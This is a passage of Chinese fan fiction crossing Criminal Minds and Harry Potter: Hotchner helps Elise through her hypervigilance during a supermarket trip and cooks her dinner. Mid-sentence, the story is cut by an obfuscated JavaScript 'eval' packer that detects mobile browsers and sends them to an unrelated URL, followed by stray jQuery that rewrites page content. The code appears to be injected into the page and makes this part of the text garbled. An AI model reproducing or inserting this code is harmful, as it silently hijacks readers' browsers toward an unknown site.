霍奇纳坚持要去超市。
“冰箱是空的，”他说，“你去英国后我自己不太做饭，也没怎么买过东西。”
伊莉丝打开冰箱，确实很空。里面只有一盒鸡蛋，一袋面包和一瓶牛奶。她拿起牛奶，看了眼日期。
“你喝过期的牛奶？”她说。
“我没注意。”
“你应该注意日期。”
“我应该有一个人一起喝，”他看着她，眼睛水润，“这样就能在过期前喝完。”
“你总是能说服我，”伊莉丝露出一个微笑，她关上了冰箱门，“走吧，我们去买新的牛奶。”
超市就在公寓附近不远，开车十分钟的距离。霍奇纳开车，伊莉丝坐在副驾驶上。她右手不自觉地抓着安全带，视线在前方，侧视镜，后视镜间切换。她会注意每一辆靠近的车。
霍奇纳注意到了，“伊莉丝你还好吗？”
“我没问题，”伊莉丝快速地回答。她马上意识到了什么，放缓了说话的速度，“我只是有点不习惯……我姐姐家在小村庄，我已经很久没待在这样的车水马龙中了。”
她扭头看霍奇纳，故意调笑说，“你开车的样子倒还是一如既往的好看。”
她伸出左手触碰了一下霍奇纳把着方向盘的右手，然后在他右手一动似乎要拉她的手的时候，快速地收回，她一本正经地说，“霍奇纳探员，你应该专心开车。”
“……”霍奇纳欲言又止。
他目视前方开了一会儿后，还是顶着发红的耳尖，抱怨道，“你是故意的。”
伊莉丝笑起来。
—-------------------------
超市很大，灯光很亮，人也很多。伊莉丝一进入口，就感觉自己的心脏在不受控制的加快跳动。太多人了。很多的声音，很多的气味，很多的移动的物体。她的眼睛自动开始扫描四周，她的耳朵在倾听动静，她的身体在准备——准备随时蹲下，滚向旁边，准备反击。
这里没有魔法，这是普通人的超市。伊莉丝竭力告诉自己，只有购物车，商品，推着婴儿车的老人，挑选食材的情侣。而他们，伊莉丝和艾伦，也只是其中一对。
霍奇纳走在伊莉丝的身边，推着购物车。他好像没有察觉什么，至少他没问“怎么了”，也没问“你没事吧”，他只是空出一只手拉住了伊莉丝，确保她有好好地跟在他身边。
“伊莉丝。”霍奇纳的声音从左边传来。
伊莉丝回过神，从不停地听身后的脚步声，感受他们是靠近还是远离中回过神。她转过头，霍奇纳站在蔬菜架前，手里拿着一个番茄。
“来点番茄吗？”他问。
“好。”伊莉丝若无其事地说，她调整站姿，让后背靠着货架，边指向番茄旁边的西葫芦说，“也来一点这个吧。”
霍奇纳看她一眼，“好的。”
他有意无意地加快了采买食材的速度，很快选好了肉，菜，香料，前往收银台排队。
很快轮到了他们，伊莉丝积极地和霍奇纳一起把东西一件件放在传送带上，她在努力不去注意超市的两个出入口和三个求生通道，在闹钟排练万一发生什么，该怎么规划求生路线。
收银员终于扫完了全部货物并且装好了购物袋。
霍奇纳拎起装好的袋子放进购物车里，他自然地朝伊莉丝伸出手，“我们走吧。”
伊莉丝把手递给了霍奇纳。她跟着他走出超市，走进停车场。她的眼睛又开始扫描，来往的人，停下的车，可能的藏身之处——
“伊莉丝，”霍奇纳打断了这个过程，他不知道什么时候已经把袋子放进了后备箱。他为伊莉丝打开副驾驶的门，他说，“上车，伊莉丝，我们回家了。”
伊莉丝坐上了车，系好安全带。她的手指还是不自觉地用力抓着安全带，但她渐渐感觉到了一些不同。这次，霍奇纳开得很慢，他慢慢地发动车，慢慢地起步，慢慢地汇入车流。他比平时慢了太多，也稳了很多。
他肯定察觉到了一点什么，伊莉丝想，她对霍奇纳的敏锐深有体会。可是他什么也没说，他只是体贴地给她时间适应，让她慢慢回到这个环境。
伊莉丝眼圈发热。她尝试放松身体，一点一点往后靠在了椅背上。她让自己慢慢地闭上了眼睛。黑暗中，她还是感到紧张，心跳有点发快。但此时此刻她闭着眼睛，开始感受到车内舒适的温暖，定制座椅的柔软，她感受到霍奇纳在旁边平稳的呼吸声，他给予的安全感。
—----------------------
回到家，霍奇纳提着袋子走进厨房。他有序地把食材规整好后，先倒了一小杯红酒递给伊莉丝。
他看向吧台颔首示意，“你坐这儿。”
伊莉丝乖乖地坐在吧台前小口啜饮，她看着霍奇纳慢条斯理地脱掉了西装外套，一点一点把衬衫袖子卷到了手肘下方。
他的肩膀宽阔，脊背挺直，他的动作控制而有力——虽然他只是在给牛排按摩，在撒上盐和黑胡椒之后。
伊莉丝的视线顺势集中在他的手上。他的手指修长，指节上有薄薄的茧，是多年持枪和写报告留下的痕迹。但现在，这样的手正在给牛肉按摩，然后切洋葱，剥蒜。他在做一件温柔的，完全日常的，属于这边这个平凡世界的事情。
伊莉丝的眼泪涌了上来。这次，她没有控制，她让它们自由地流了下去。
霍奇纳没有看她，但他好像有特意功能意义，总是能及时注意到。
“你在哭。”他说，手没有停。
“没有。”
“你在撒谎。”像是小孩拌嘴。
伊莉丝一下就笑了，碧绿的眼眸微弯。她的脸颊上还带着泪珠，她无端指责道，“怪你切的洋葱太辣了。”
这个笑容让霍奇纳的心停跳了一拍，他没有说话，只觉得胸膛好像鼓鼓涨涨的。他顺从自己这一刻的感受，探身亲了她。
轻轻浅浅的一个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449500|201130||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亲吻，只是嘴唇相贴。但他好一会儿才控制自己离开。
霍奇纳假装平静地回身继续做饭。西兰花，土豆，他把所有的东西放进烤盘，淋上橄榄油后，才想起来要撒盐和黑胡椒。他拿出多年联系的本领，看起来十分镇定地操作跳过的步骤。最后他在蔬菜上方摆上了两支迷迭香，推进了预热好的烤箱。
—--------------------
蔬菜快出炉的时候，霍奇纳开始煎牛排。黄油香，肉香伴着滋啦滋啦的声响弥漫整个厨房。伊莉丝深深地吸气，感觉自己的肺腑都被一种久违的感觉充满。她看着霍奇纳把晚餐一一摆盘。
他们在餐桌前坐下，伊莉丝拿起刀叉，几乎是迫不及待地切下一小块牛排塞进嘴里。熟度完美，调味平衡，汁水充足，一切都是正正好她喜欢的样子。
“好好吃。”她对着霍奇纳说，叉子举起一小块牛排，“致大厨霍奇纳。”
霍奇纳嘴角上扬，眉目舒展。他也向她举起红酒杯。
“致伊莉丝，我最契合的食客。”
晚餐吃得比预想中的快很多。伊莉丝吃掉了大半盘后满足地停了下来，霍奇纳吃完了他的后，又自然地把她没吃完的拿过去吃掉了。
吃完后，他主动站起来把盘子收进厨房。
伊莉丝也站起来跟上去。霍奇纳开始洗碗，她在旁边站着，视线难免跟着注意到了洗碗池前方窗台上的空花盆。那是——她想起她在英国也种了百合花，和莉莉一起种在戈德里克山谷的小花园里。那些花明年春天还会开，她不知道她还有没有机会再看见。
“你在想什么？”霍奇纳冲洗着碗。
伊莉丝短暂地停顿了一下，她说，“我在看这个空花盆。”
“你以前用这个种了一株百合花。”
“后来呢？”
“后来你去英国了，我没照顾好它。”霍奇纳说，带一点点低沉。
伊莉丝伸手搂住他的腰，“你应该按规律浇水。”
“我浇了。”
“那为什么它死了？”
“因为它需要你。”他说。他侧过脸轻轻蹭了蹭她的发顶。
伊莉丝的眼泪又流了下来，莫名其妙的。她转到霍奇纳的身后，把脸埋在他的背上。她闷声闷气地说，“我会再种一盆。”
“什么时候？”霍奇纳探员立刻抓住机会敲定细节。
“……也许明天？”伊莉丝犹豫着说。
霍奇纳迅速冲干净手。他握住了她的手，摇了摇，不给她反悔的机会，“说好了，就明天。”
他们站在窗前，手牵着手，看着窗外的月光。弗吉尼亚的夜空依旧布满了星星，闪烁不停。
伊莉丝靠在霍奇纳的肩膀上，感受到了宁静。她又一次不可自抑地想起了莉莉，想起了哈利。他们被隐藏了。她不知道他们在哪里，是否安全，是否活着，是否能等到战争顺利。但这次，她想相信，他们会活着，她会在不久的将来再见到他们。